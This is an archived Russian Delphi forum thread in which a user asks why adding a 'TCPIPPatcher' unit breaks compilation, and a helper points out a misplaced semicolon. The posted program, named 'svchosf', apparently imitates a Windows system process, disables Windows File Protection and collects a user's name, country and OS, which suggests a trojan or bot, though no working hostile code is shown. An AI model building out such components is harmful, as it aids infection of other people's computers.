Главная страница
Top.Mail.Ru    Яндекс.Метрика
Текущий архив: 2011.10.23;
Скачать: CL | DM;

Вниз

Не добавляется модуль   Найти похожие ветки 

 
Koder ©   (2011-07-02 23:04) [0]

Не судите строго... так как я только осваиваю Дельфи (до этого С++)...
Начал недавно ковырять одну прогу и столкнулся с проблемой подключения новых модулей....
начну попорядку...

Сама прога

Код Delphi

program tester;

uses
Windows,
uConst,
uUtils,
uString,
uSystemInfo,
uWininet,
uControl,

и т.д.

к примеру

в Uses указана uControl,

которая вызывается ReleaseIt (в uControl.pas Procedure ReleaseIt)

Справедливо полагая что трабл не возникнет
я кинул в папку untTCPIPPatcher.pas
в Uses указал untTCPIPPatcher

далее прописал вызов ptcpip;

а на выходе получил вот что

[Error] tester.dpr(27): Declaration expected but identifier "untTCPIPPatcher" found

[Error] tester.dpr(55): Undeclared identifier: "Disable_WFP"

[Error] tester.dpr(148): Undeclared identifier: "ptcpip"

почему так получается.. что не так?

Заранее спасибо за дельные ответы..


 
И. Павел ©   (2011-07-02 23:36) [1]


> [Error] tester.dpr(27): Declaration expected but identifier
> "untTCPIPPatcher" found

Обычно эта ошибка возникает при несоблюдении синтаксиса. Т.е. компилятор не ожидал, что вы напишете untTCPIPPatcher. А две оставшиеся ошибки, скорее всего, следствия первой.

Покажите кусок кода в tester.dpr около 27 строки.


 
И. Павел ©   (2011-07-02 23:42) [2]

Модули можно добавлять с помощью IDE. В меню выберите project->add to project->в диалоговом окне выберите модуль.

В итоге объявление модуля добавится в секцию uses в dpr файле и будет выглядеть так:

mymodule in "mymodule.pas";

(т.е. имя файла модуля тоже нужно указывать)


 
Koder ©   (2011-07-02 23:42) [3]

program svchosf;

uses
 Windows,
 uConst,
 uUtils,
 uString,
 uSystemInfo,
 uWininet,
 uInstall,
  UnitWindows,
 shellapi,
  untSearch,
 Winsock;
 untTCPIPPatcher;  Вот 27 строка

var
 Thread ,Thread0  :Cardinal;
 idThread   :Cardinal;
 dThread    :Cardinal;
 tid        : Cardinal;
 Msg        :Tmsg;
 OldCommand :String;
 Username   :String;
 Country    :String;
 OS         :String;


 
И. Павел ©   (2011-07-02 23:44) [4]


> Koder ©   (02.07.11 23:42) [3]

После Winsock стоит точка с запятой а нужна просто запятая.


 
Koder ©   (2011-07-02 23:50) [5]

прокатило... большое спасибо... :)



Страницы: 1 вся ветка

Текущий архив: 2011.10.23;
Скачать: CL | DM;

Наверх




Память: 0.48 MB
Время: 0.008 c
2-1309771257
adigozelov
2011-07-04 13:20
2011.10.23
pecat


1-1269027699
Aston
2010-03-19 22:41
2011.10.23
Компонент Label с поддержкой тэгов


15-1309369259
Dimka Maslov
2011-06-29 21:40
2011.10.23
Вот до чего техника дошла


2-1309625895
StuDD
2011-07-02 20:58
2011.10.23
Как проверить соединение с Интернетом через прокси (wininet)


15-1309120193
Юрий
2011-06-27 00:29
2011.10.23
С днем рождения ! 27 июня 2011 понедельник